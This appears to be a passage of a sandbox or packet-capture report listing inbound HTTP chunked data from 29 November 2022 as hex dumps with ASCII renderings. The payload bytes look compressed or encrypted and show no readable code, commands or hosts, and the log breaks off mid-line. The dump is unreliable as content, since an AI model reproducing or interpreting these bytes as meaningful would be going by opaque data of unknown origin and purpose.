2022-11-29 23:11:39 UTC	176	IN	Data Raw: 32 30 30 30 0d 0a c7 95 5e 19 7d 09 47 28 56 98 74 56 24 e2 0d f6 e7 50 1b 2a d3 8e 9c 10 cd a3 e9 8c 78 5b 12 cd 27 aa af c2 0b 70 ee 62 07 bf 6c f1 1a 07 09 a8 c2 85 97 08 e0 21 ba f7 ed 26 84 a3 ef f3 39 02 e3 09 d9 70 86 9d 15 f5 71 f3 c5 bd 1e 2e c1 a6 52 75 68 93 ab 5a 79 67 1a 19 a8 41 be 82 eb 39 3b d8 34 76 e0 93 1d 7c ab 9f 92 b4 15 1e c4 f4 a0 35 0d b7 88 35 0d a6 5e 57 10 6b a2 7d 48 92 2e 84 8c 21 3a 92 f6 c0 35 59 3f 5f 14 1f 90 78 67 39 c0 94 b6 34 4e ca bd d7 eb 31 f6 d5 8a df ec 7a cc 21 45 30 b2 c6 53 06 6b ad 6b a6 41 8d ee 19 9b 4e 87 1e 24 4a 0c ad 07 5e 31 79 12 57 03 d8 7f b7 72 46 b3 f6 e1 34 7a c6 15 d5 f5 0d 02 62 75 b6 d2 63 c4 8c 8f b7 c4 c4 dd 40 90 16 3a ee 3e 93 18 a0 27 ba d6 1b 5e 0d d6 8f 08 e9 a2 f1 5a 4e d5 1e c7 b9 94 Data Ascii: 2000^}G(VtV$P*x['pbl!&9pq.RuhZygA9;4v\|55^Wk}H.!:5Y?_xg94N1z!E0SkkAN$J^1yWrF4zbuc@:>'^ZN
2022-11-29 23:11:39 UTC	184	IN	Data Raw: b2 b2 39 c4 79 32 Data Ascii: 9y2
2022-11-29 23:11:39 UTC	184	IN	Data Raw: 0d 0a Data Ascii:
2022-11-29 23:11:39 UTC	184	IN	Data Raw: 31 66 66 38 0d 0a d2 36 4a 01 f4 7d 88 b8 d4 6a 65 fa de a7 a0 d7 0d d4 96 5f 5b 52 d1 0a b0 9d 5a 28 55 5e 1e 05 9a 7d 30 63 ad 09 02 61 4f cd b3 90 da 1c 7e 2c 01 c4 52 e4 f4 03 66 0e 81 91 23 d1 a9 df 50 68 0d 96 00 3e d5 6d 06 cb 5a 43 17 04 e0 f1 46 bf f2 fd ca 48 af 7c 1f 4c 3d 47 b3 97 78 e8 b3 c1 70 6f 0b 18 26 c5 3e bb fd 71 9c 78 26 53 8a b6 0e 10 20 ed 22 ec 35 65 92 1e 9a b9 38 c0 ee c6 58 ad 6d 6d c5 96 81 7e 49 40 24 67 11 13 08 47 98 15 1d b1 30 80 4c d7 a6 ef 60 07 4c 66 8c 2d 89 34 71 62 06 27 49 5c 9f b0 73 0a 96 29 2d 3f e9 16 1e 10 85 32 ad 8d b3 53 69 4c 5e 46 21 1c 1e f8 84 f5 f1 02 bc f2 01 21 43 2a a4 52 04 b8 a7 f7 9d f2 af 71 58 56 7e 93 e1 9f eb b7 6f de fe 81 9f 95 b0 70 f9 ce ab 77 3c 36 66 11 9a b3 2b e3 be 5e 79 9c 46 cd 0f Data Ascii: 1ff86J}je_[RZ(U^}0caO~,Rf#Ph>mZCFH\|L=Gxpo&>qx&S "5e8Xmm~I@$gG0L`Lf-4qb'I\s)-?2SiL^F!!C*RqXV~opw<6f+^yF
2022-11-29 23:11:39 UTC	192	IN	Data Raw: 32 30 30 30 0d 0a Data Ascii: 2000
2022-11-29 23:11:39 UTC	192	IN	Data Raw: 3a a9 a7 88 33 1c de fa 4e ab ee 3e 5b 60 c6 32 df 98 a5 20 5a c9 33 03 65 c2 ad ef 71 20 9b 2b b0 f4 c0 b6 64 48 c4 94 c8 54 29 a3 60 47 1c a4 e4 65 5d a8 c0 a5 4f 63 10 7a b4 6b ea 4f a8 42 0e 36 1d 52 42 4a 32 33 23 17 50 43 3c c6 96 84 c6 e2 8b 7c 71 57 9b ec 7f c8 a4 2e b4 06 cc bc fc 61 a6 dd 3a 27 c8 8d 6d 60 24 a7 51 97 76 9a d1 17 6f dd 73 e3 71 40 d1 bb 52 8a 2d cb 2e 92 2a fb 0f 0d 7f 2a ee 90 07 0e 7d fd dc 2f 08 df ec a8 28 dc 1b ab 93 0b a4 bf 9f 92 b6 a8 28 eb b9 91 41 5a 91 3a c6 81 bc 11 4b cb db 37 e2 0c cc 4e 77 68 83 e9 9a 24 9e 0e 30 56 f1 48 19 12 af eb f7 60 33 e2 4f f0 42 41 06 71 10 90 ba 60 08 4f d0 c6 1d a0 72 58 5e ff 5f 5a a9 47 d4 db 03 40 a3 e2 60 f7 dd 40 34 e6 5e 50 95 28 39 1c a4 82 e4 d1 e5 b1 7a e6 3c 88 41 2a 4d a3 aa Data Ascii: :3N>[`2 Z3eq +dHT)`Ge]OczkOB6RBJ23#PC<\|qW.a:'m`$Qvosq@R-.*}/((AZ:K7Nwh$0VH`3OBAq`OrX^_ZG@`@4^P(9z<AM
2022-11-29 23:11:39 UTC	200	IN	Data Raw: 0d 0a Data Ascii:
2022-11-29 23:11:39 UTC	200	IN	Data Raw: 32 30 30 30 0d 0a 96 f4 4a 21 5a 2b 82 10 73 1b 89 a0 de de 83 61 b9 cb 95 79 d4 4c 0f ba 67 50 28 bc 38 c3 b2 53 c0 b6 32 87 8d 68 90 58 af 46 95 2c 5f 15 53 23 2e 9a 53 7a 5c c7 9d 4c 0f 19 17 13 8e 1b c8 03 be e4 1f c4 54 e7 3f 5d f6 7d a9 a8 cd e9 33 84 38 f4 37 ad 9c 67 f9 1f a6 d9 3f 7c 9a 34 c7 eb e3 25 72 06 e0 bf 85 92 d6 f9 cf 4b a4 99 06 1a cf 99 0a 18 1a 4e 5c af 86 f3 79 f5 03 9a 8c f0 0d 18 db 4f 03 2a 05 d9 45 ba c3 ef 33 93 31 fa 31 f9 a1 4c be 84 02 8d fb 09 59 61 98 53 c3 b9 47 1d 3f 91 b8 4c ae 03 b6 ab f5 c3 da cd 57 a4 ae 4c 94 7a f0 39 83 9d 6c 54 63 e1 42 8b 09 62 04 1b a4 e1 12 f6 83 1a e5 10 ce ce b7 35 6b 27 91 8f 9e 63 d3 6a 64 19 35 f5 fb 42 20 a5 96 7e 5c 2d 83 99 47 21 8f b2 1e 4d 30 ec 69 49 16 49 20 37 a0 f6 f2 d4 ee c6 34 Data Ascii: 2000J!Z+sayLgP(8S2hXF,_S#.Sz\LT?]}387g?\|4%rKN\yO*E311LYaSG?LWLz9lTcBb5k'cjd5B ~\-G!M0iII 74
2022-11-29 23:11:39 UTC	208	IN	Data Raw: 0b b1 92 e5 e9 51 Data Ascii: Q
2022-11-29 23:11:39 UTC	208	IN	Data Raw: 0d 0a Data Ascii:
2022-11-29 23:11:39 UTC	208	IN	Data Raw: 32 30 30 30 0d 0a 91 7f 2f e8 cd 3f 9e ee 35 34 55 23 f6 4f 35 11 c4 46 d6 c7 b3 28 89 c9 e6 c1 38 f6 60 49 6f 51 fc 7a e6 27 f5 23 a5 a5 25 8c c4 10 98 eb f8 ae 6a 74 86 6c ad 59 0c b0 2e ea 7d 13 04 60 3f 2a 6d 31 2f 99 b1 51 6c cc 19 27 51 12 fa 64 ec 47 e3 a2 7d 7c 04 42 dc 48 4b 11 75 23 be 98 b5 a2 cb f0 a9 57 96 d3 84 79 e5 ed 2a 70 d4 b4 19 ad 25 aa e2 90 4a 09 57 97 ae 93 b5 b7 3d dd 61 da eb 29 cc 23 46 8e ed b4 6b 2a 48 17 23 2b af d6 4d 13 f0 57 f8 52 a1 c3 00 53 78 86 71 24 20 1c 91 c8 f5 97 0b 29 bf e4 de 22 25 13 f9 ca 8b ca 67 4b e6 4d ec ed 57 e5 4d 33 0f fb 21 d6 7f f5 70 42 e7 c3 5c a2 65 74 3f 8e c3 a2 81 97 8d 4d b7 6f 23 80 a8 62 12 93 b6 36 6e e3 5e d6 ac c4 ba bc 94 c1 17 ae ee 9e 4c f0 d1 35 9d 1a ff 05 a5 2e 3a bf 2b ea 44 11 d4 Data Ascii: 2000/?54U#O5F(8`IoQz'#%jtlY.}`?m1/Ql'QdG}\|BHKu#Wyp%JW=a)#Fk*H#+MWRSxq$ )"%gKMWM3!pB\et?Mo#b6n^L5.:+D
2022-11-29 23:11:39 UTC	216	IN	Data Raw: bf ef 7f 36 11 f7 Data Ascii: 6
2022-11-29 23:11:39 UTC	216	IN	Data Raw: 0d 0a Data Ascii:
2022-11-29 23:11:39 UTC	216	IN	Data Raw: 32 30 30 30 0d 0a 8c 2e 9c 39 6a 35 a1 c6 cc 0f f3 b9 27 27 e9 98 22 83 26 d6 99 6a e7 9d 47 58 ab 07 b0 ee a0 e2 f6 91 9c 23 93 bb 87 5a 83 18 b7 c7 f4 38 b7 3e 9c 65 33 8a c7 5a 74 e4 e1 13 20 71 b2 c5 0a 91 85 5e d7 cf 21 fa 00 38 50 9d e7 27 44 b8 3d f8 22 9c 68 77 e1 ca 0f d6 be c3 94 11 09 c5 3a a9 51 dd 7c 15 5d 5b 3c f0 3a 4a da 7f c7 31 a4 74 f4 5c 54 79 a5 40 9c 21 a4 44 79 39 99 5e 3c 27 ca 60 fb 43 ae 55 83 5a f9 c7 87 25 d9 48 56 af 72 f8 51 f5 54 16 81 10 f4 c0 0a 26 91 33 af fc ad 75 51 33 11 74 f9 1b 00 a4 33 d4 50 ab 6a 76 e3 d2 a9 7a 23 50 8d 8b 83 cf d9 84 8d 8d 4a b7 48 d8 a3 cd c0 08 4b 2a 8f 78 99 d6 2e 4d 50 b3 14 91 b6 49 f8 76 62 09 ee e2 df b6 37 9e fa 0b 11 b9 d3 ab 4b ab 7d 6e 47 0d 5a 46 20 d4 94 a0 99 34 02 7b 1e 51 6f a0 bc Data Ascii: 2000.9j5''"&jGX#Z8>e3Zt q^!8P'D="hw:Q\|][<:J1t\Ty@!Dy9^<'`CUZ%HVrQT&3uQ3t3Pjvz#PJHK*x.MPIvb7K}nGZF 4{Qo
2022-11-29 23:11:39 UTC	224	IN	Data Raw: d7 4b 69 66 fb 4d Data Ascii: KifM
2022-11-29 23:11:39 UTC	224	IN	Data Raw: 0d 0a Data Ascii:
2022-11-29 23:11:39 UTC	224	IN	Data Raw: 32 30 30 30 0d 0a c6 f5 a4 20 26 58 99 9c 35 13 e4 1c c7 39 b5 bb f8 9e 0d 11 92 f2 e9 76 6d ac 61 77 ff df 9e 52 16 ca 26 70 13 71 e9 5e 50 f6 20 d4 e8 ad b1 60 ff 79 ae b2 ce 27 9e bd 04 3c 19 ad 4f 58 fc d4 15 49 8d f3 02 1f fa f0 2d 01 de ef 3f d0 a1 44 11 76 73 3e 78 78 41 00 33 3f 7d 36 be 21 59 f1 65 ff fe b5 56 b6 5c 4f bc 95 27 be 73 00 53 5e ed d3 5b 29 4f 0d 25 c0 92 55 cd 3b 31 58 0a 86 6b 6b d6 ab 2b e8 8c 6a 60 49 78 34 3a 90 21 ce 41 5c 5e 2d ed e7 d4 75 29 75 ba 9d 4f 67 4d 35 f4 5e c6 74 61 51 1d 09 63 50 d2 69 c0 70 1b fc b6 0b 5d e1 c3 62 b3 1e 34 45 5b 3e 25 68 87 73 2c 50 58 94 c3 ca 27 86 27 98 fc 5d 69 98 fa b7 d3 2d ae ed b7 09 f2 80 4b 56 68 dd 5a de 68 56 ed 1d 4a f0 9e 81 e2 e4 69 ec c9 9e db be 88 af f0 da 87 8a 6c 7b 1a bb 79 Data Ascii: 2000 &X59vmawR&pq^P `y'<OXI-?Dvs>xxA3?}6!YeV\O'sS^[)O%U;1Xkk+j`Ix4:!A\^-u)uOgM5^taQcPip]b4E[>%hs,PX'']i-KVhZhVJil{y
2022-11-29 23:11:39 UTC	232	IN	Data Raw: 88 50 2b 52 1c a4 Data Ascii: P+R
2022-11-29 23:11:39 UTC	232	IN	Data Raw: 0d 0a Data Ascii:
2022-11-29 23:11:39 UTC	232	IN	Data Raw: 32 30 30 30 0d 0a 3b 36 1b d1 01 1d 8f 6c 74 f7 5a b2 1e ab 8d 88 9b 06 1f dd 80 58 c3 4f 3d 72 86 a8 22 2c ff aa 3b 06 0e 5a 92 67 ed 85 25 69 4c d7 ed 0f cb d1 16 fb 68 e1 09 54 c3 a7 20 b3 16 8b 7c ae 0b c9 94 37 aa 94 72 97 32 7d 07 07 96 45 2e 07 10 69 17 20 f8 f0 1b b5 81 dd 3c eb 31 f3 f3 e0 e7 a6 7f 25 86 a9 e1 67 01 30 a7 f8 05 d0 7b e9 b7 ca 74 3d 87 f3 0d 5b 89 32 4a 7c ea 00 a0 77 37 66 b2 4e 19 75 bb 85 18 ef b7 09 27 5a 4c 3c 95 7e b0 e7 91 a5 c6 23 ef 57 d0 ed 45 67 7e 0b 05 ae bb ee 3c cb 14 ad 32 73 71 ea 17 2f ba 46 46 62 87 78 1c 50 2c 06 0d ea ff 26 46 5d 63 d4 2a e3 33 ce e5 4f 02 80 47 43 a5 df 32 c8 29 61 0b 13 db 6f 86 85 fc 75 97 c1 52 a3 45 bc 8f 4b 3f d3 63 c9 39 e6 b1 b0 f5 64 55 cf 1d c2 92 37 ce e8 06 51 07 d8 2f 24 ef 35 33 Data Ascii: 2000;6ltZXO=r",;Zg%iLhT \|7r2}E.i <1%g0{t=[2J\|w7fNu'ZL<~#WEg~<2sq/FFbxP,&F]c*3OGC2)aouREK?c9dU7Q/$53
2022-11-29 23:11:39 UTC	240	IN	Data Raw: bc 41 45 37 a7 2d Data Ascii: AE7-
2022-11-29 23:11:39 UTC	240	IN	Data Raw: 0d 0a Data Ascii:
2022-11-29 23:11:39 UTC	240	IN	Data Raw: 32 30 30 30 0d 0a db 70 2d 6c fe 14 21 ba 2f a6 8d fd 7a 45 0f 37 8b dd b7 9c 56 85 34 3f 83 1c f5 6b f0 a6 5f 86 fb 4a 9b e4 f2 88 1d b3 dd 68 8a 15 fd 13 4d af 06 e9 24 c0 05 45 0d c3 04 2b 54 4f 32 a3 9a e0 73 56 7c 40 0f 6b ea bd bd 3b 85 51 a7 a2 21 ad 5c 32 50 ae f8 b2 4a 02 83 b7 62 5a 6b ae b7 c0 7b 5a 48 19 57 c5 48 d3 6f c0 9c 1c 27 c3 6d 72 b1 3c a4 09 45 ed fb bb e0 f0 c6 77 63 c7 e4 c8 da 69 e4 eb ba 51 6f d3 eb e6 cb de 0f 72 77 18 6b 42 49 69 91 dd 0e 63 f5 44 6b 80 b7 81 c3 67 ff f2 e6 61 bd 13 e0 24 95 74 78 01 44 4f 89 cd 75 98 57 f7 89 81 a0 93 cf 45 73 1a d9 5a fa 72 3d 7d 99 3e 16 d8 30 e2 d4 d8 6d 72 63 c1 5a e8 6a 24 2d b7 f4 b5 8c 14 08 de 22 68 af 75 fd eb e7 fe 52 b1 11 11 46 35 5d bb 48 4a 57 a7 cc bf 62 12 65 26 8e 9d 0b 19 ac Data Ascii: 2000p-l!/zE7V4?k_JhM$E+TO2sV\|@k;Q!\2PJbZk{ZHWHo'mr<EwciQorwkBIicDkga$txDOuWEsZr=}>0mrcZj$-"huRF5]HJWbe&
2022-11-29 23:11:39 UTC	248	IN	Data Raw: 88 b0 59 80 84 46 Data Ascii: YF
2022-11-29 23:11:39 UTC	248	IN	Data Raw: 0d 0a Data Ascii:
2022-11-29 23:11:39 UTC	248	IN	Data Raw: 31 66 66 38 0d 0a 89 1c 70 c6 b7 95 fa f0 83 88 51 cd 1e d1 c6 40 f6 33 b6 b3 45 6e 21 01 72 ce 4b 8c 0f bc b2 93 e9 0e 5f d8 41 88 67 1c 71 20 ca 1e 6e a0 0d 58 62 42 d9 f2 0d e0 66 84 c0 46 30 9f 0b 02 57 a7 64 33 20 e8 e9 51 91 1a 63 c8 e7 c4 7b 36 d9 72 87 12 b5 dd 7f b8 f6 8a 25 f0 7c b7 3b 8a 59 0e da e0 29 eb bd aa 48 e2 e8 cd c2 65 63 3f 0c 5a 4c 12 68 b7 cd 23 1d 60 cd 42 2b 55 e0 17 e1 a5 4d 54 9b 4f 51 d0 60 f1 9f 3f e3 e8 a9 1c 52 f2 d4 2d a1 3a 9d e6 4f 62 77 2e a2 42 31 70 2d e4 7b ad 90 80 4e f9 c5 16 af 76 02 52 fc f6 dc a7 93 e3 17 c2 91 08 93 91 62 5b 70 11 e4 0a 26 56 54 ee e4 c7 0b ce d1 e4 9c 92 c5 92 6a 88 12 83 5c 47 78 13 81 82 4f cc d7 97 f2 0a 93 10 f0 cd 0d 63 e6 37 16 b9 5b 1d 0e 76 32 c1 7f bc cc 4e b2 aa 3b 50 f0 62 f8 1c fc Data Ascii: 1ff8pQ@3En!rK_Agq nXbBfF0Wd3 Qc{6r%\|;Y)Hec?ZLh#`B+UMTOQ`?R-:Obw.B1p-{NvRb[p&VTj\GxOc7[v2N;Pb
2022-11-29 23:11:39 UTC	256	IN	Data Raw: 32 30 30 30 0d 0a Data Ascii: 2000
2022-11-29 23:11:39 UTC	256	IN	Data Raw: 48 2e f2 da 4c 32 8e 3e 53 46 8b 6b 97 8e f6 cb c8 2f 6b 40 83 8c 0e 08 a0 ef 41 27 d2 68 d6 f7 7a bf 75 6d 8a b2 d0 0d 2e 2d 1e b0 2b 9c 46 e2 07 76 8e d8 99 c7 40 67 1b 80 61 35 4f 92 bc ca d6 cd 8e 74 c9 b5 94 6e 04 4f ba a7 cc b8 55 c1 f3 7a 86 9b 6f 9e fe 18 ee 96 17 e1 c0 69 85 c0 c1 9c 99 2d e6 e9 18 2a 26 87 05 3c 82 f6 cd 91 55 9b 8a a0 e7 cf 70 3e 2b 28 f6 69 68 15 bf ba 5c e1 23 9e 71 33 30 1d a6 d7 a0 59 22 2f 12 45 42 86 c9 51 e6 9a 9c 00 d6 34 61 5c 87 50 20 a1 f2 1e 47 1d 45 2b a4 71 0d 41 16 98 db 2e cb 4d a6 94 6e 7b 33 e5 75 66 32 22 81 53 4a cb 27 4f ba b2 44 d9 a4 77 f8 d0 d8 f8 90 19 67 d7 66 d9 d6 31 75 7d 9f 81 99 d1 bb 5e 67 88 1c a9 28 64 ae 66 06 9f 24 7c f8 05 3f 7b d7 3d 62 4c 7c da f7 39 bb 94 a2 99 be 7c 66 e0 07 43 8f cf 88 Data Ascii: H.L2>SFk/k@A'hzum.-+Fv@ga5OtnOUzoi-*&<Up>+(ih\#q30Y"/EBQ4a\P GE+qA.Mn{3uf2"SJ'ODwgf1u}^g(df$\|?{=bL\|9\|fC
2022-11-29 23:11:39 UTC	264	IN	Data Raw: 0d 0a Data Ascii:
2022-11-29 23:11:39 UTC	264	IN	Data Raw: 32 30 30 30 0d 0a 2c cf ea d7 62 99 9b fb 19 7a 08 65 e2 62 21 e4 44 7f 23 f8 7f b5 12 87 c8 e6 c8 25 b9 b0 8c 5e b5 bf 50 74 f9 d6 b3 66 9b 4c 20 79 eb 6b bb 85 37 42 0f c9 05 62 b2 e2 36 f5 d3 d0 31 d1 d8 e9 6b fe 06 d0 fd b8 a9 38 31 15 83 b3 90 53 d9 2c 94 eb 25 73 d6 ee 40 22 aa 0a b6 40 ea 4f d9 45 c2 ff 49 81 5f 01 db 38 97 78 c0 8e c3 88 1d fe 15 0a 56 b9 4f dc a5 30 9f 1a 43 f7 53 d4 b0 b7 0b 61 0e 18 3c 77 d0 f2 96 fe 18 11 0f 28 37 75 7d ad 88 47 02 15 fa 75 cd d4 9e 76 c4 d0 ea a1 16 f3 46 6d 6c 9e ee 39 41 d0 37 e2 da 75 ac 0c 1f 19 b8 cd c7 40 a5 74 1b da e6 09 8a f8 0c 10 28 22 26 3d 5a 34 74 91 1d 6b 28 4d e7 f2 50 e1 de 14 d7 4b 28 2b b9 fa df cf ab e5 86 ce 08 01 5d bb 47 a7 ce 45 b9 b5 20 0a ce 56 e7 98 08 68 89 31 24 4a b3 25 a5 16 63 Data Ascii: 2000,bzeb!D#%^PtfL yk7Bb61k81S,%s@"@OEI_8xVO0CSa<w(7u}GuvFml9A7u@t("&=Z4tk(MPK(+]GE Vh1$J%c
2022-11-29 23:11:39 UTC	272	IN	Data Raw: 46 80 64 76 b3 23 Data Ascii: Fdv#
2022-11-29 23:11:39 UTC	272	IN	Data Raw: 0d 0a Data Ascii:
2022-11-29 23:11:39 UTC	272	IN	Data Raw: 32 30 30 30 0d 0a 75 e2 03 6a 22 9e 8a e9 50 73 6c e0 a7 75 34 d8 03 2d bd ad 50 8d 07 97 c9 30 96 10 ec 1d 93 fd 07 4f f9 a6 a1 45 70 0e 57 be 33 04 b3 25 53 28 f5 f1 a4 c3 bf 31 e4 09 cc a1 49 45 33 eb 54 d4 0e 65 8f 6c a2 af 5d 2d c2 8f 14 f4 64 00 85 f3 f7 84 38 2b 70 e3 b1 a9 52 32 df 18 d7 77 ae 91 8b f1 38 a1 84 a1 c5 76 05 f0 8f 5e 15 2a 17 0f f4 26 08 81 cb ad c0 a8 1c d6 86 77 fe bc a3 70 5c f0 7b eb e9 82 c1 4f 6a cb a2 26 d3 25 de 1f aa 72 39 e3 4f 36 31 8f 90 79 65 40 36 71 e1 c7 8e ae 43 6b 0a 2c a9 6c 56 e7 17 c4 1b 8c 25 8a d0 95 bb bb 04 ca 2c 69 d3 c9 ca 4b e8 d4 18 fb 52 1b 69 63 79 10 76 84 b1 78 cf cf 0d a4 17 84 17 6c 26 a6 46 9a ad fd 5b c5 87 cc 3f d3 f4 27 28 65 dc 23 ea a0 07 63 6c 13 e0 61 8c 47 c0 2a 14 43 14 a3 0f 67 4e e5 9a Data Ascii: 2000uj"Pslu4-P0OEpW3%S(1IE3Tel]-d8+pR2w8v^&wp\{Oj&%r9O61ye@6qCk,lV%,iKRicyvxl&F[?'(e#claGCgN
2022-11-29 23:11:39 UTC	280	IN	Data Raw: 3a 80 02 04 02 57 Data Ascii: :W
2022-11-29 23:11:39 UTC	280	IN	Data Raw: 0d 0a Data Ascii:
2022-11-29 23:11:39 UTC	280	IN	Data Raw: 32 30 30 30 0d 0a 55 20 fa 3c 64 1f db ca 61 34 45 df e2 55 c8 fc 75 bc 36 7c 36 96 73 95 aa d8 99 3f a0 ce 8b 87 45 b8 fc af 1a b7 02 6c 34 3d 04 c9 89 dc f3 dc 25 e7 c3 d4 2e f1 ca 90 8d 7e 9a 11 1b 6d f9 3b 25 b3 20 12 84 64 92 2c 7d a8 a5 6b 53 78 58 60 a4 20 29 43 89 61 04 ae 31 c3 f4 e7 49 6c c4 a2 77 7b 50 65 1e 5b f0 46 f7 37 26 b7 7c 4a c1 71 b9 d8 6f 3e 23 b3 f4 5f bc 44 90 71 b0 90 1b 67 13 bf 7e ec 13 0b de 69 1f aa cb d5 a8 99 dd 93 8f 4d aa f4 25 0c e8 71 7c 99 8b 95 1e 08 d0 94 ba 4a 7c b2 97 de 94 ad 36 d3 3f 00 8a 30 c9 ac bf 79 68 c7 58 19 79 4b 57 5b 7a bf 5a ae 7d 9e 54 27 99 ac f2 e4 ca 63 18 b2 ce cc d5 73 39 e1 45 2c ce 4a 06 2d 55 08 a8 31 28 25 ee 19 2c 38 96 62 be 61 1f 5f 6e c9 8c 43 94 10 ce 12 39 30 44 2b 25 5c b3 5e f6 66 48 Data Ascii: 2000U <da4EUu6\|6s?El4=%.~m;% d,}kSxX` )Ca1Ilw{Pe[F7&\|Jqo>#_Dqg~iM%q\|J\|6?0yhXyKW[zZ}T'cs9E,J-U1(%,8ba_nC90D+%\^fH
2022-11-29 23:11:39 UTC	288	IN	Data Raw: 37 29 60 5d 0e a2 Data Ascii: 7)`]
2022-11-29 23:11:39 UTC	288	IN	Data Raw: 0d 0a Data Ascii:
2022-11-29 23:11:39 UTC	288	IN	Data Raw: 32 30 30 30 0d 0a 84 bc 64 0e a5 b7 ee 79 0a 51 0d d7 7a 56 56 b5 0e 2d 7e ea 44 b2 27 c8 b1 f0 32 87 4e 5e 21 a0 db 18 ca 24 88 97 6e 79 5d 11 4a 3a c6 14 db f5 dd 24 d7 91 77 d2 55 2a 68 f1 c0 2f d5 7f d0 5e db 3f d9 f2 c3 da 9e dc 69 06 1b 26 10 9c 92 d4 dc b3 63 11 11 42 53 0b 9c 56 8b dd 11 1b a9 58 34 3d f8 48 92 46 69 e7 e2 18 0e ae 43 8c ca 2d 69 7f 61 de f2 99 88 dd 51 c9 e7 15 5c 81 ba e9 67 40 4a 66 e9 ec a8 03 da e2 b7 71 5c 96 79 98 bb fe cb c0 75 fd 53 ec 40 54 fe ff 01 6a 4d 2f 34 18 ae c4 18 75 92 e8 83 eb 4c ad 00 69 66 04 a6 c2 3a 68 72 29 6f c1 1b c6 4b 38 d9 f0 40 a8 cf 6b 88 98 94 4a 5f a7 3b 2b 51 a0 a6 e6 fa 4a da d8 96 5f c6 0e 93 29 1c 5f 9c ee 1b 51 93 b3 b8 1a fc fa 9e 36 45 e3 7c 41 5a 6a 8b 78 60 8f 4a eb 60 e4 b6 33 5e ce 44 Data Ascii: 2000dyQzVV-~D'2N^!$ny]J:$wU*h/^?i&cBSVX4=HFiC-iaQ\g@Jfq\yuS@TjM/4uLif:hr)oK8@kJ_;+QJ_)_Q6E\|AZjx`J`3^D
2022-11-29 23:11:39 UTC	296	IN	Data Raw: f8 e7 39 d2 45 c9 Data Ascii: 9E
2022-11-29 23:11:39 UTC	296	IN	Data Raw: 0d 0a Data Ascii:
2022-11-29 23:11:39 UTC	296	IN	Data Raw: 32 30 30 30 0d 0a a5 1a 06 71 cd c8 7b 66 22 81 35 37 a0 df 73 54 4b 90 e2 b5 31 90 ee 67 91 e4 50 88 9f 40 4f 8e 4e 3d 00 e4 2b d7 a4 b0 64 b1 ff e4 59 27 44 f9 39 8d 26 b9 d8 41 bb ba 74 82 fb d1 7a 60 ad fa 2c 47 bb eb 3b 6a 4e f5 72 2f f8 38 ba 06 10 bf 55 98 42 08 5d 2d 30 4c d1 2c b0 07 7e 14 ad 39 fa 1c fb 7d 8a e5 3e 6e 1f 4b c2 27 06 3f 2c 39 fb 3c 88 c5 f1 d9 45 75 67 12 14 24 2e ee 80 6c 71 c8 7c 32 1b 7e 62 f8 b2 91 07 58 c3 91 a0 48 33 1d 6b ae 59 96 ee 68 f0 70 e2 17 44 a9 6b c5 e6 3d 01 72 c3 a4 37 98 35 09 e2 87 15 6e 46 41 ef 23 86 56 ad 0f 67 9a 93 d1 d5 39 33 95 d3 3b e4 c3 2d fa d8 35 4c 3d 8a 39 e9 a6 20 35 0e f4 4e 52 e8 40 f0 ce a3 a2 f0 80 85 d1 f7 49 42 ae 03 48 ce 44 49 17 57 e6 4b e8 83 ae 7c a9 7a 78 ce 86 f6 40 91 67 83 9b 1e Data Ascii: 2000q{f"57sTK1gP@ON=+dY'D9&Atz`,G;jNr/8UB]-0L,~9}>nK'?,9<Eug$.lq\|2~bXH3kYhpDk=r75nFA#Vg93;-5L=9 5NR@IBHDIWK\|zx@g
2022-11-29 23:11:39 UTC	304	IN	Data Raw: 75 39 5e 59 7c c3 Data Ascii: u9^Y\|
2022-11-29 23:11:39 UTC	304	IN	Data Raw: 0d 0a Data Ascii:
2022-11-29 23:11:39 UTC	304	IN	Data Raw: 32 30 30 30 0d 0a 13 e1 7b 55 f5 b8 b5 c0 cb b0 a8 95 89 e0 71 d8 4c 76 59 5d 58 0a 10 03 d4 60 e6 de 00 4d 80 95 5d 08 ab 65 b2 22 0e e9 d0 33 8b cc 59 57 5b 2b 99 43 16 9a 06 9d 2d f8 3c b2 d3 e7 d3 6a e8 23 7c 43 83 34 a0 31 44 fe c0 8b 90 44 69 c5 38 58 f4 a5 2c 84 05 bb e1 2b 6c 67 cc 66 e4 99 cf e4 5a a7 48 25 72 ec 23 24 c7 a1 31 69 de 35 bc c8 e1 9f 2b 96 27 2f 1e 64 8c 89 29 e8 4b ea ab f0 46 f7 17 7b e4 b3 58 eb f1 e2 74 e1 2e 48 83 73 e8 dd 85 8c 45 91 1c 56 f8 96 59 7c 81 bc 31 f0 0c c8 56 61 0c 9a 17 7b 66 25 eb 60 50 84 34 a8 3a 1e 9a 88 95 6b 4c bd 4b a1 23 3e a5 6b 8f 1f 08 ba 58 54 fb 05 fc e7 20 b3 75 b2 02 6c b0 3e 2e a5 ec 3a 10 3d 0f b9 d7 7f cf ac ce 32 7d 09 41 bb 64 2c 46 8f 82 28 e4 49 2f 98 c5 9d ef 8f f7 fc d5 04 a8 c7 01 1a 02 Data Ascii: 2000{UqLvY]X`M]e"3YW[+C-<j#\|C41DDi8X,+lgfZH%r#$1i5+'/d)KF{Xt.HsEVY\|1Va{f%`P4:kLK#>kXT ul>.:=2}Ad,F(I/
2022-11-29 23:11:39 UTC	312	IN	Data Raw: 4a ad e0 4b c0 c7 Data Ascii: JK
2022-11-29 23:11:39 UTC	312	IN	Data Raw: 0d 0a Data Ascii:
2022-11-29 23:11:39 UTC	312	IN	Data Raw: 31 66 66 38 0d 0a 6b 88 c8 3f 0c 19 e1 7a 21 c5 6d 45 df 4d ea ea 10 fc 22 66 bf ac 84 66 48 c4 24 33 91 3a 98 52 f1 49 fe 2a a3 e9 a0 c9 2b fc 03 8f e5 02 e5 d0 9d de cd 15 55 58 50 43 cc 49 83 ea 77 9e 0d a6 09 ed 17 fd 18 8d f1 60 6a 9f d1 14 97 74 dc 8b fb b7 3f 1c 00 12 2c c3 ac d4 f1 78 7e f8 1d 00 75 e2 8b d2 78 db 93 b1 7b d8 4a 11 15 0e 71 16 45 62 65 f1 4e d9 49 fa b2 ef 9a b8 d3 67 04 0d 4a 0f 32 ba 20 d9 64 6a 75 01 02 3d ec 5a 42 4a 64 bf af 37 8f ce 9d 53 e2 4e 4d ef 5b 9f 9e 7c 99 a6 3c 7e 6b 2b 9a 4f 39 79 cf a3 ad e3 c2 04 66 37 8b 12 d3 cf e0 0c d2 e5 3f 0b e3 55 1b 46 99 38 61 93 b3 d2 1c 3f 66 5a a9 11 a9 8b 5d 64 c3 65 19 dd 82 69 30 16 2f 37 7c 62 04 e4 45 23 92 d3 72 27 c0 50 9a ac 51 bd f1 6f 24 87 5d c1 97 e0 cd 42 8d 